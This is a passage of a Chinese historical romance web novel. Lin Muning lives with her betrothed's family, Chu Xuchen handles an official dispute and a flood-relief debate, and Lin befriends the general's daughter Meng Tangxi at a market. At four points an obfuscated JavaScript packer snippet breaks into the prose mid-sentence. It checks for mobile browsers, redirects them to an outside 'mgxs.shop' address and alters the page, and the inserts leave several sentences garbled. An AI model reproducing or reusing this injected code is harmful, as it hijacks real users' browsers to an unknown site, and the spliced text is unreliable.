林慕凝也想到了自己的爹娘，兄长，还有不待见自己的嫂子。出门三个月了，嫂子该生了吧，也不知生了个侄子还是侄女。等到自己能见到的时候，孩子该会打酱油了吧？ 想到这些，林慕凝也沉默了下来。只是手里的锄头还是一下一下刨着。 柳莺儿察觉到她情绪异常，以为是被自己的话影响，便扯开话题，说：“姑娘，我瞧着大公子人也不错呢，是个面冷心热之人。昨日在国子监将人扔出去那一下，可真威风，活脱脱像个大将军呢。要我说，大公子也未必就那么不喜欢姑娘你。” “哼，”林慕凝却不这么想，“昨日他在国子监出手相助，完全是因为那人伤了褚家的颜面。哪里是为的我啊。他昨日还说若不是我去了那里，断没有那些糟心事呢。” 林慕凝刨到一块石头，挖出来，一脚踢出去老远。 柳莺儿缩了缩脖子，没再多言。 正在练功的褚序宸打了个喷嚏，下人忙关切地说：“今日有风，公子小心受了风寒。”见褚序宸收了功，赶紧给他披上披风。 褚序宸推掉：“不用，都要入夏了，哪里会这般孱弱。”早上看到隔壁后院那林家女穿着轻薄的的短衫翻地，而他整日锻炼，还会受风寒？怎么可能会被她比下去！ 甚至于早饭都多喝了一碗粥。 出大门时，遇到了褚书墨。 褚书墨向他行礼，郑重道谢。 “昨日多谢兄长出手相助。” 褚序宸抬了下手：“你我兄弟，不必客套。” 褚书墨却没起身，继续说道：“慕凝她天真浪漫，本心单纯，性子是欢脱了些，有些话未经斟酌便脱口而出，还望兄长莫要怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314487|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪于她。” 原来是为昨日马车上林慕凝的话跟他道歉。 这褚书墨倒真不把自己当外人，那林慕凝满打满算才来了两日，这人已经将她认作自己人，还替她道起谦来了。 林家女倒是好命的很。 褚序宸只觉昨日那股子烦闷再次袭来，他“嗯”了一声，没说别的，便上了马车，朝顺天府而去。 褚书墨一旁的石头问：“二公子，大公子这是原谅林姑娘了？” “应该是的吧，兄长不是小气之人。”顿了一下，又问：“昨日我同你说的事，可记住了。” 石头回：“记住了，保证不让林姑娘知道。二公子还要给她惊喜呢。” * 顺天府大门外，孙胜的父亲孙大全背着荆条来请罪。昨日儿子在国子监的那一遭，他听说之后，担心的一宿没睡。 他家祖辈都是经商的，熬了几代，终于攒下了些家底。他的父亲临死之前对他提出一个要求，就是要后代里出个进士。这个朴素的愿望，也是他的爷爷传给他的父亲的。奈何在这一辈，没有完成。 他花了不少银子打点，才把儿子送去国子监读书。眼瞅着愿望冒了头，却不成想，那不争气的儿子惹了顺天府尹。 这位官老爷虽不直管国子监，可那还不是一句话的事，要是儿子因此被从国子监赶了出来，那他父亲的遗愿，他也完不成了。 故天不亮就守在这门口。 来往的人都在看他，议论纷纷，他充耳不闻。见着挂着“褚”字的马车，赶紧小跑过去，跪在马车前头磕头。 “褚大人，您大人有大量，就绕了我那不争气的儿吧。” 马车被他拦得急，骤然停下。 车内，褚序宸猝不及防向前冲去，一手撑住车壁，才稳住了身形。 他皱了皱眉。方才那一瞬，不知怎的，竟想起昨日马车上，林慕凝往他这边倒过来的情形。 他重又坐正，沉声道：“怎么回事？” 车夫连声道歉：“大人恕罪！有人突然跑出来拦车，小的没来得及避开。大人没事吧？” 褚序宸没应声，只挑起车帘，往外看去。 孙大全跪在地上，背上绑着荆条，满脸是汗，见他露面，磕头磕得更狠了。 “褚大人！小人孙大全，是孙胜的爹！那混账东西有眼无珠，冲撞了大人，小人替他给您赔罪了！您要怎么罚他都行，只求您......只求您别把他赶出国子监啊！” 褚序宸居高临下看着他，眸光淡淡。 “你就是那孙胜的父亲？” “正是小人，小人教子无方，是小人的过错，大人怎么罚我都行。” 褚序宸已然放下车帘，声音从马车内传出：“你儿子如今多大？” “十八了。”孙大全也不知褚大人为何如此问。 “哼，我看他不缺胳膊不缺腿，说话也利索着呢，怎么？自己不会滚来道歉？还要年迈的父亲替他做主？” 孙大全吓了一哆嗦。 “小人知道了，小人这就回去，压着他过来给大人您磕头。” 15. 第十五章 一大早闹这么一出，不可谓不热闹。 来上值的人们不敢当着褚序宸的面议论，可他不在的场合，恨不得将自己的见闻昭告天下。那位昨日在街上偶遇的刘大人此刻也跟几个人聚在一处。 他昨日硬是憋了一天，没说。现在听旁人说起咱们的府尹褚大人昨日可是为了一位女子出手的。 “听说那女子长得极是标致。” “如此说来，褚大人是英雄救美了？” “此言差矣，听说那女子是去寻褚家二公子的。” “寻二公子？”众人面面相觑，“那岂不是说……她就是跟褚家定了亲事的那位姑娘？” “不是说是个乡下来的吗？能有多标致？别不是误传吧。” 刘大人终于憋不住了，压低了声音说道：“我见过那位姑娘。” 众人齐齐看向他，眼神里满是好奇。 “其实张大人和邱大人也见过的。记得吗？那日不是来了个寻褚大人的俊俏小生，说是褚大人的远房表弟？” 被点名的两位大人愣了一下，随即回忆了那日的情景。 “确有此事！”张大人道，“那般俊俏的小公子，我也是头一回见。当时还纳闷，褚家人怎么都生得这般好模样，连远亲都如此出挑。” 邱大人也连连点头：“我还想问来着，可那日褚大人不在，那小哥儿问完路就走了。怎么，刘大人你的意思是……” 刘大人微微一笑：“那位林公子——就是和褚家定了亲事的姑娘。昨日我上值前在路上碰见她，已经换了女装。那模样，啧啧……” 他故意留了半句话，众人却已经听懂了。 “啊？竟是如此！” “女扮男装来找褚大人？这姑娘胆子倒是不小。” “可不是，那日在顺天府门口，她可是大大方方问路，一点不见怯场。” “这么说来，昨日国子监那档子事，褚大人出手，为的也是她？” “那还有谁？听说那几个纨绔当众议论人家姑娘，话还说得难听，褚大人能忍？” 众人交换了一个意味深长的眼神。 “啧啧，这位林姑娘，可真是个人物。”有人感叹，“还没进门呢，就闹出这么大动静。” “到底是乡下来的，没那么多规矩拘着。” “没规矩是没规矩，可这份胆识，倒也难得。” 正说着，有人忽然压低声音道：“你们说，褚大人对她，到底是个什么态度？” 这话问得巧妙。众人你看看我，我看看你，一时没人接话。 刘大人摇了摇头，意味深长道：“褚大人的心思，咱们就别猜了。不过那位林姑娘，”他顿了顿，笑得有些微妙：“为人热情坦率，比很多贵女都要大方得多。” 众人调侃他：“如此说来，你是看上那位林姑娘了？我告诉你啊，你看上也没用，人家有主了。” 刘大人的脸有些微红：“莫要胡说，我只是实事求是罢了。” 正说着，一名小吏匆匆跑来，朝众人拱手道：“诸位大人，褚大人有请，说是有要事相商。” 众人相视一眼，便各自散了，往议事厅而去。 今日也无别的大事，讨论的依旧是给宛平县发救济粮之事。 今年春季，宛平县雨水过盛，接连数场大雨冲毁了不少农田，农户们辛辛苦苦种下的庄稼，眼看着就要颗粒无收。此事按理该归属户部管辖，可宛平县县令往上递了十几封陈情书，却如石沉大海，杳无音信。 县长被逼无奈，直接越级找到了顺天府。 前日褚序宸亲自去宛平县走了一趟，亲眼看见了那些被水淹过的田地，还有拖家带口、面黄肌瘦的灾民。今日召集众人，便是要商议接下来的对策。 要么与户部协调，催他们尽快拨粮；要么直接绕过户部，上奏皇上。 前者稳妥，但不知要拖到何时；后者见效快，却难免得罪人。 褚序宸才上任顺天府尹不久，根基未稳，并不想一开始就与户部结下梁子。而这些下属中，不少人在顺天府任职多年，对朝中的人情世故比他更清楚。叫他们来，也是想听听这些“老人儿”的意思。 议事厅内，众人落座后，褚序宸开门见山，将此事简要说了一遍，便问：“诸位以为，该当如何？” 话音刚落，便有人开口。 “褚大人，依下官之见，还是先与户部商议为妥。”说话的是个蓄着山羊胡的老吏，姓周，在顺天府待了十余年，最是圆滑，“或许是宛平县县令的陈情书递错了地方，没能送到户部堂官手中。咱们先递个公文过去，问一问情况，若真是户部疏忽了，他们自然会补办。如此既不伤和气，又能把事情办了。” 旁边几人纷纷点头附和。 “周大人说得是，先礼后兵嘛。” “户部那些人，最是护短。咱们要是直接捅到御前，他们面上无光，往后少不得要给咱们穿小鞋。” “日后免不了常打交道，还是圆融些的好。” 褚序宸听罢，面上不动声色，只微微颔首。 另有一人说道：“下官倒觉得，可以两手准备。一面与户部沟通，一面将此事整理成折子，若户部那边迟迟没有回音，便立刻上奏。这样既不耽误救灾，也不至于被动。” 这话说得圆融，两边都不得罪。 褚序宸看了那人一眼，正是昨日在街上遇到的刘秉添刘大人，他朝他点了点头。 众人又议了一阵，最终达成一致。先由顺天府正式行文户部，催问救济粮之事，同时暗中准备奏折，若三五日内仍无回音，便直接上达天听。 文书快速做着笔录，褚序宸又跟众人商议了些旁的小事。 这期间，他总感觉有目光盯着他，朝众人一一扫过去，那些人似乎并未注视他。他只道或许是自己年纪轻轻便做了这些人的头，他们心有不甘罢了。并未往旁的事情上想。 * 褚家，抱竹轩内 林慕凝和丫鬟们劳作了半日，总算把后院的地都翻完了。她出了一身的汗，衣襟都湿透了贴在身上，却觉得浑身舒坦，筋骨都松快了。 她让春桃烧了一大桶水，舒舒服服泡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320392|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个澡。热水一浸，那点疲乏便散了七七八八。 吃罢午饭，小憩了一会儿，又恢复了精神头。 此刻她靠坐在院中的躺椅上，望着这四方宅院，忽然觉得有些憋闷。 她打小可是在山间田野长大的，除了没有这里繁华，可天大地大，她人心也阔。 所以，根本宅不住哇。 她翻了个身，喊柳莺儿：“莺儿，你让秋杏去瞅瞅，老夫人这会儿在做什么？” 柳莺儿正在一旁纳鞋底，闻言抬起头：“姑娘是要去给老夫人请安，这会儿怕是不合适吧，我听春桃姐说过，老夫人每日都要午睡半个时辰的。” 林慕凝思索着：那也就是说老夫人还在午睡。 “走，咱出门逛逛。” “姑娘，您今天还出门去啊？”问话的是另外一个叫夏枝的小丫鬟，年岁跟柳莺儿差不多。 林慕凝已经翻身从躺椅上起来了，走过去，摸了摸夏梨的圆脸：“是呀，你想去吗？想去，就跟上。” 夏梨来褚家半年了，还没有出去过呢。往常大公子从不带丫鬟出门，二公子来之后，身边只有小厮，她被安排给洗过衣服，也没有机会跟出门去。 老夫人只带那些老人儿出去。 现在伺候的这位姑娘才来几日，见天出门子。 “我......”说实话，她也想去，只是不好意思承认，怕人说自己心野。 林慕凝点了她额头一下：“我什么我，想去就去呗。莺儿，你去问问春桃、秋杏、冬橘，她们想不想出门。不过我今日可不全带上，只能最多带......” 她想了想：“三个吧。” 柳莺儿小跑着去问了，夏梨一听说只带三个，顿时说道：“姑娘带上我吧。” “好，”林慕凝冲着柳莺儿跑去的方向喊：“还剩下一个名额。” 春桃是这几个丫鬟里头，年纪最长、也最安分懂事的。秋杏、冬橘干活累得不行，歇着不想动。春桃自己也累，但是担心林慕凝的安危，便自告奋勇，占下了这一个名额。 林慕凝主要是想去昨日那个德月楼听书，那故事还没讲完呢。 可今日出门的人多，她不好叫来喜再去找票，便因此作罢。可出门的时候，还是碰到了来喜。 来喜听说林姑娘又要去逛街，连忙将昨日未送出去的那十两银子递给林慕凝：“这是我们公子让给姑娘备着的。” “大公子？”林慕凝问。 “是的，本来是昨日就让我给姑娘的，可我想着找时间给，结果忙了点别的事，就忘了。”来喜挠了挠头，昨儿个回来后又帮着大公子去国子监查事儿，哪里还记得银子。 今早送大公子出门，回来后，一摸口袋，才想起来。 刚还想怎么找机会送出去呢，就碰上她们了。 林慕凝有钱，昨天沈氏给的她那一锭够花好些日子呢，更何况之前还有贺镖师给的谢礼。不过，她还是接了过来。 “那就谢谢大公子了，等我回来给他买点东西，当谢礼。” “嘿，姑娘您客气。” 16. 第十六章 这边林慕凝带着人刚出门，褚书墨的小厮石头就跑到了抱竹轩门口张望。 秋杏出来泼水，险些泼了他一身。 “石头？你在这里鬼鬼祟祟的做什么？” 石头憨憨一笑：“秋杏姐姐，林姑娘出门去了？” “是啊，才走不久。你找林姑娘有事？”秋杏问。 “不是不是。”石头连忙摆手道，“是二公子让我来问问，林姑娘有什么喜好。他想给林姑娘打个木雕小玩意儿，又不知道她喜欢什么。” 秋杏听完，赞赏道：“二公子倒是有心了。不过林姑娘有啥喜好，我还真不知道。来的日子短，咱们也还没了解清楚呢。要不然，你等姑娘回来，我问了再同你讲？” 石头连忙摆手：“千万别问林姑娘，二公子想给她个惊喜呢。那秋杏儿姐帮我合计合计，是打个动物造型的，还是花鸟造型的？” 秋杏也知道褚书墨木匠手艺不错，给林姑娘打个小玩意，定是想讨她开心。昨儿个她从姑娘那也拿了不少好处，这事她得帮忙。 “我们姑娘喜欢种花花草草，昨儿买了好几样种子回来，今刚翻了一上午地呢。” 石头开心了：“我晓得了，谢谢秋杏姐。” 他一溜烟跑了，秋杏看着他的背影，忍不住笑了。 这二公子，知道疼人。 林慕凝今天出门颇有气势，三个丫鬟伴随左右。 幸而褚府的马车宽敞，她们几个一起挤进去也坐得下。只是夏梨头一回跟着出门，缩在角落里，浑身不自在。 车帘一放下，她便小声嘀咕：“姑娘，这不合规矩吧？丫鬟哪能跟主子同坐一辆马车？我在外头跟着走就成。” 说着就要起身下去。 春桃一把拽住她，压低声音道：“行了行了，姑娘让你坐你就坐，扭捏什么？咱们是丫鬟不假，可姑娘是什么人你还不知道？她让咱们进，咱们就进，别忘了自己的本分就是。” 夏梨被她这么一说，才勉强坐住了，可两只手还是规规矩矩放在膝上，身子绷得笔直，生怕碰着林慕凝的衣角。 林慕凝看着她那副模样，忍不住笑了。 “什么姑娘小姐的，我不过是命比你们好那么一点罢了。外人在的时候，装装样子也就罢了，等只剩了咱们自己人，大家便都是姐妹，没那么多规矩。” 夏梨抬起头，眼里闪过一丝惊讶，随即又低下头去，嘴角却悄悄弯了起来。 春桃笑道：“姑娘这话说的，让旁人听见了，该说咱们没规矩了。” “旁人？”林慕凝眨眨眼，“哪个旁人？这里头不就咱们几个？” 柳莺儿也笑了，从包袱里摸出一包点心，递给夏梨一块：“吃吧，姑娘出门前特意让带的，说是怕咱们路上饿着。” 夏梨接过点心，咬了一口，眼眶忽然有些发酸。她进褚府前，也曾在几户人家做过下人。可从没有哪个主子像林姑娘这样的，不摆架子，不拿腔作调。被沈老夫人买来，还是因为前头主子总当街殴打下人。 那次她被主子揪着耳朵扇耳光，被沈夫人撞见了。花了价钱买进来，这才能过几天安稳日子。没成想，又安排给了林姑娘这么一个和善的主子。她只觉得自己的命运好起来了。 嘴里说着：“多谢姑娘。” 心里想着：日后定要好好伺候林姑娘。 春桃问：“姑娘，咱们去哪儿？” “去集市，来喜说大集三天，每天都有新鲜货。”林慕凝大手一挥，“今天我请客，你们看上什么，只管说。” 几个丫鬟顿时欢呼起来。 转过几条街，外头越来越热闹。林慕凝掀开车帘往外瞧，眼睛亮晶晶的。今日比昨日还要热闹，街上人头攒动，卖什么的都有，吃的玩的用的，琳琅满目，一眼望不到头。 “好多人！”夏梨也忍不住凑过来看，忘了方才的拘谨。 春桃笑道：“头一回见吧？京城的大集可热闹了，每月十五都有，东西比铺子里便宜，还能淘着些稀罕物件。” 马车在一处街口停下，车夫回头道：“姑娘，前头就是美食街了，马车进不去，得劳烦姑娘走几步。” 林慕凝迫不及待地跳下车，抬眼一看，顿时眼睛都直了。 这条街和昨日逛的那条截然不同。满满当当全是吃食摊子，热气腾腾，香味扑鼻。卖炸糕的、卖馄饨的、卖糖葫芦的、卖卤煮的。 一眼望不到头。 “我的天！”林慕凝深吸一口气，满脸陶醉，“这也太香了！” “走，先吃起来！” 她们往里头走，林慕凝给丫鬟每人先买一根糖葫芦，边走边看。前头忽然传来一阵嘈杂声。 “你凭什么不给钱？！” 是个年轻女子的声音，又急又气。 林慕凝脚步一顿，循声望去。前头不远处围了一小群人，里头隐约可见一个穿着蓝布褂子的姑娘，正跟几个男人争执。她身前是个烤饼摊子，炉子上的饼还冒着热气。 “给钱？”一个留着两撇小胡子的男人嘿嘿一笑，伸手捏了捏那姑娘的脸，“爷吃你的饼是看得起你，还想要钱？” 旁边几个男人跟着起哄，笑得肆无忌惮。 那姑娘气得脸都红了，一把打开他的手：“你！你无耻！” “哟，还挺烈。”小胡子男人也不恼，反而凑得更近，“小娘子，跟爷走，爷天天吃你的饼，天天给钱，怎么样？” 周围几个男人笑得更大声了。 林慕凝的火气“噌”地就上来了。她撩起袖子就要往前冲，春桃眼疾手快拽住她：“姑娘！姑娘！您先别急！先看看是怎么个事？” 林慕凝挣开她的手，“光天化日吃霸王餐还调戏良家妇女，这我能忍？” 她正要冲上去，忽然一个身影从人群里窜了出来，比她更快。那是个穿着红色劲装的姑娘，身量高挑，动作利落。她几步冲到那几个男人面前，二话不说，一把揪住小胡子的衣领，把他整个人拎了起来。 “你刚才说什么？再说一遍？” 小胡子男人双脚离地，吓得脸都白了：“你、你谁啊？！放我下来！” 红衣姑娘冷笑一声，手一松，他“扑通”一声摔在地上，疼得嗷嗷直叫。 “你姑奶奶。”红衣姑娘居高临下看着他，“吃霸王餐？调戏良家妇女？你当这是你家后院？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328157|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几个男人愣了一愣，随即反应过来，骂骂咧咧地围上去。红衣姑娘也不怵，三下五除二，把那几个人打得东倒西歪，抱头鼠窜。 围观的人群发出一阵喝彩。 林慕凝看得眼睛都直了。 “我滴个乖乖，女侠客啊！” 那红衣姑娘拍拍手上的灰，转身看向那个卖饼的姑娘，语气温和下来：“你没事吧？” 卖饼姑娘眼眶红红的，连连摇头：“没、没事，多谢恩人！” “不用谢。”红衣姑娘摆摆手，“往后这种无赖，别跟他们客气。上来就往死里揍，揍不过你就跑！” 卖饼姑娘连连点头，从炉子上拿起几个刚烤好的饼，用油纸包了，塞进红衣姑娘手里：“恩人，您拿着吃，不要钱！” 红衣姑娘愣了愣，随即笑了，接过饼，咬了一口：“嗯，好吃！” 林慕凝在一旁看着，忍不住笑出声来。她几步走上前，拱手道：“这位姐姐好身手！” 红衣姑娘回头看她，打量了一眼，见她模样不俗，穿着打扮也不像寻常人家的姑娘，身后还跟着几个丫鬟，便也拱了拱手：“客气了，不过是看不惯那些无赖欺负人。” “我也看不惯！”林慕凝笑得眉眼弯弯，“我正想冲上去呢，结果被你抢了先。” 红衣姑娘闻言笑了，笑得爽朗：“那咱俩倒是想到一处去了。” 两人相视一笑，竟有几分一见如故的意思。 “姑娘怎么称呼？”红衣女子一拱手，颇有几分江湖儿女的爽利。 林慕凝学着她的样子回礼：“我叫林慕凝，你呢？” “孟棠溪。”她打量了林慕凝一眼，“听你口音，不像是本地人。” “孟姐姐猜着了，我是外来户，才来京城没几日。” 孟棠溪目光越过她，看向身后那三个规规矩矩站着的丫鬟。 林慕凝立刻明白了她的疑惑，大大方方解释道：“除了这个年纪最小的，是我路上捡的，其他都是婆母安排给我的。” “婆母？”孟棠溪眼睛瞪得溜圆，“你成婚了？你才多大？” “没有，没有。”林慕凝解释道，“准确的说是我未来婆母，我是定了亲，明年等我未婚夫科考完才成婚呢。进了冬，我就十七了，姐姐多大了？” “我已过了十七岁的生辰。” 孟棠溪答完，仍是一脸不可思议，“你的意思是说，你明年才成婚，可现在就已经住进婆家了？”她歪着头想了想，“我竟不知还有这样的规矩？不是都得成婚后才进门吗？” 林慕凝一时不知该如何解释这其中的弯弯绕绕，只笑道：“此事说来话长。” 孟棠溪看出她不便多说，便也不追问，爽快道：“今日既然遇上了，要不要一起逛逛？” 林慕凝眼睛一亮：“好啊！我正愁没人带路呢。” 孟棠溪笑道，“我在京城住得久，哪家好吃哪家好玩，门儿清。你跟着我，保你不走冤枉路。” 两人一拍即合，说说笑笑地往前走去。 柳莺儿几个丫鬟跟在后面，面面相觑。 自家姑娘这交朋友的速度，也太快了吧！ 17. 第十七章 孟棠溪的性子直率爽朗，很对林慕凝的胃口。她的丫鬟青芒也是个机灵的，见自家姑娘交了新朋友，便主动凑到柳莺儿几个跟前，笑道：“几位姐姐，咱们去旁边逛逛吧，让姑娘们说说话。” 柳莺儿有些不放心。 “我们还是跟着吧，万一......” “怕什么？”孟棠溪道，“我的身手你见识过了，还怕你家姑娘挨了欺负不成？我们姐妹要有些私房话说，你们跟着，多不方便。” 这话说得直白，柳莺儿几个面面相觑，想跟又不敢跟。 还是春桃想得周全。她上前一步，不卑不亢道：“孟姑娘见谅，我们不是怕姑娘有事。只是若万一走散了，总该知道去谁家寻我们姑娘吧？我们只知道孟姑娘的名讳，可……” 孟棠溪笑了，朝青芒递了个眼色。 青芒从腰包里摸出一块手牌，往春桃面前一递。那手牌巴掌大小，边缘镶着一圈金边，上头刻着一个“孟”字。 春桃只看了一眼，便不再多言，恭恭敬敬福了一福：“那就有劳孟姑娘照顾我们家姑娘了。” 几个丫鬟走后，林慕凝有些疑惑：“孟姐姐，怎的春桃见了那手牌就不问了？那是什么宝贝？” 孟棠溪边走边说：“你刚来京城不了解，这种手牌只有二品以上的武将家里才有。旁人见了，就知道是将军府的人，不敢招惹。” “竟是如此！”林慕凝倒吸一口凉气，再看孟棠溪的眼神顿时变了，“姐姐不仅貌美仗义，还家世显赫，你这人生也太爽了吧！” 孟棠溪被她这话逗笑了，笑得前仰后合：“你这丫头，说话真有意思。” 笑完之后，她又叹了口气，那笑意里带了几分无奈。 “爽什么爽，你是不知道，我烦着呢。” 林慕凝眨眨眼：“姐姐还有烦心事？是什么？” 孟棠溪拉着她往前走，一边走一边道：“我爹是骠骑将军，二品大员，听着风光吧？可如今我到了该婚配的年纪，我娘忽然要求我做大家闺秀。让我学那些繁文缛节、学那些扭扭捏捏的做派。” 她撇了撇嘴，一脸嫌弃：“我自小在军营里长大，跟着我父亲和那些将领们学武，我哪受得了那个？” 林慕凝听着，忍不住笑出声来。 孟棠溪瞪她一眼：“你笑什么？” “我笑姐姐你这样子，确实不像能绣花的。”林慕凝眨眨眼，“你那手，是用来揍人的，不是用来捏绣花针的。” 孟棠溪愣了愣，随即哈哈大笑：“对对对！就是这么回事！还是你懂我！” 笑完之后，她又叹了口气，望着来来往往的人群，神色里带了几分落寞。 “所以我得空就跑出来散心。今日遇见那几个无赖，出手揍他们，一来是本就看不过眼，二来……”她顿了顿，自嘲地笑了笑，“二来也是肚子里窝着一股火，正好拿他们撒气。” 林慕凝只是拍了拍她的手，以示安慰，她也说不出什么更好听的话来。自古女子婚姻都由不得自己。那褚家独子还能让从宗室里找一个弟弟来替他完成婚约，她却不能换个人来。总不能把自家哥哥找来吧。 那褚序宸又没有妹妹。 两人默默走了一段，寻到一间糖水铺子，找了个位子坐下，点了两碗水晶皂儿。孟棠溪才问出憋了一路的话：“你那未婚夫是怎么回事？怎么还没成婚就住进婆家了？” 林慕凝舀了一口亮晶晶的甜品，放进嘴里，吃完才开口。 “简单来说吧，我爹早年也曾从军打仗，在军中结识了一位好友。就与他结了娃娃亲。原本说等我及笄了，那家就下聘礼。结果我都快十七了，一点动静都没。眼看着我嫂子要生娃，家里住不开。我爹娘就让我来寻我那未婚夫。” 孟棠溪聚精会神地听着，忘了吃自己的那碗甜品。 “我那夫家本只有个独子的，我来之后才知，还有个过继的老二。现下正准备科考呢，婚期定在了明年，我又没地方住，就只能收留我了呗。” 孟棠溪问：“那家的老二是何时过继来的？” “具体时间不知，听老夫人的意思，约莫时日不长。” 孟棠溪听到此处，猛地一拍桌子，连着桌子上的碗碟都颤了颤。 “这家人分明就是不把你当回事，哼，不想毁约让人唾骂，就找了个继子来完婚！是哪家？说来听听，若我知晓，替你去主持公道！” 林慕凝瞧她这义愤填膺的样子，比自己还要气愤，她拉了拉孟棠溪的衣袖，说：“姐姐莫要生气，他家二公子人挺好的，比那大公子强多了。我算是因祸得福了吧。” “真的？” 孟棠溪见林慕凝点头，还是有气。 “那是两码事，你跟我说说，到底是谁家？往后若是被我碰到了，我怎么也得骂他几句！” “我夫家姓褚。” “褚家？”孟棠溪托着腮想了想，“莫不是在顺天府做府尹的那位褚大人？” 林慕凝略吃惊：“姐姐认识？”问完又觉得自己多余，孟父同是在朝为官，怎会不知道。只听孟棠溪说：“我听我父亲提起过这位年轻的府尹大人。说他中状元时，就有不少官家想把女儿嫁于他。都被他的父亲褚老爷子挡了回去，说他早就定亲了。可却迟迟不成婚，近日听说又有人打起了他的主意。说什么他原先那个婚约，有人替了他了。思来想去，不会这么巧，就是你吧？” 林慕凝默了默，心道：这京城说大也大，说小也小。 褚家这点事，原来早就不是什么秘密了。 她点点头：“是我。” “天哪！”孟棠溪惊呼，“你如此美貌，又这般性情，他竟然对你不满？他到底在想什么！”声音不小，引得旁人频频侧目。 林慕凝赶紧去捂孟棠溪的嘴：“姐姐小声些。” 之后才说：“其实我也能理解，褚大人这般年纪已经身居如此位置，世人都说他年少有为。我呢？乡野长大，没有家世，没有背景。当初我父亲与褚家伯伯结亲，本就是玩笑话。我父亲以为两人地位相当，殊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335775|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知褚家伯伯只是出去历练，根本不是平头老百姓。” 孟棠溪却道：“话不能这样说，真论起来，我们谁不是平头老百姓？若非我父亲打了胜仗，哪有今日。那些曾与我父亲并肩作战，却战死沙场的叔叔伯伯们，若是活着，未必轮得到我父亲坐这个官。想来别家也一样。那褚家公子如此趋炎附势，也确实配不上你。” 她又问起褚家继子：“那褚二公子是何样之人？样貌如何？人品如何？” 提起褚书墨，林慕凝脸上又有了些笑容。 “褚二公子是君子，见我第一面，就害羞得脸红不敢抬头看我。那日我去国子监寻他，碰到几个纨绔，他还替我出头了。” 孟棠溪欣慰了些许：“如此说来，这褚二公子倒是不错。慕凝，日后我就是你在京城的好友了，你的婚事我虽然不能帮你出力，但是其他的，我会罩着你。若日后这褚二公子考取了功名，也如他兄长一般，我定为你出头。” 林慕凝其实想过这件事，她的性子也不是能吃亏的，若日后褚书墨也嫌弃了她，她便留下一纸和离书，离褚家而去。不过嘴上还是说着：“那就谢谢孟姐姐了。” 两人吃完甜品，又逛了好一会儿。吃得肚子都鼓起来了。今日都是孟棠溪请客，林慕凝一分都没花着。她一开始还觉得有些不好意思，可见孟棠溪不让找钱那架势，就知道她是不缺钱花的主儿，便欣然接受了。 孟棠溪问林慕凝，还想去哪，林慕凝惦记着德月楼说书的。 “昨日是家里的小厮帮忙找的票，今日怕是不成了。” 没想到孟棠溪却说：“我道是哪？那你今日来着了，随我去便是。” 到了德月楼，小二一眼就认出了孟棠溪，亲切招呼着：“孟大姑娘好久没来了，今日怎么得空？您的雅座一直给您留着呢，咱楼上请！” 原来孟棠溪也喜欢这儿，且长期包下了个雅座。这还不算完，刚一坐下，就有好几个上来给孟棠溪行礼的。 林慕凝一脸愕然，等人都走了，孟棠溪才说：“这儿的老板是我朋友。今天这些伙计们也都见过你了，若他日你来，即便是我不在，他们也会好好待你。” 林慕凝没细问其中缘由，只道这位新结交的朋友本事大。接下来，便认认真真地听昨日那位说书先生继续讲。以备回去后讲给柳莺儿听。 两人听完书，又去酒楼吃了顿大餐，这时辰可就迟了。 林慕凝的三个丫鬟已然回了府，却还不见林慕凝回来。 柳莺儿急得团团转，尽管春桃告诉她，那位孟姑娘是家世显赫之人。可她还是不放心，到门口望了好几次。 褚序宸今日在顺天府多办了一个时辰的公，用过晚饭才回来。马车刚到家门口，就看到了那个跟林慕凝总是形影不离的丫头，来回踱着步子，像是在等人。 见他下来，柳莺儿连忙到了跟前。 “大公子，我们姑娘还没回来，您能帮忙去寻寻吗？” 褚序宸脸色一凛：“你是说林慕凝还没回来？” 18. 第十八章 柳莺儿急得快要哭出来了：“那位孟姑娘有一个带着金边的手牌，春桃姐姐说这样的人家了不得。且那位孟姑娘有身手，叫我不要担心。可是，都这个时辰了，姑娘还没回来，我怕万一她们遇到歹人，孟姑娘也不是对手，那该如何是好。” 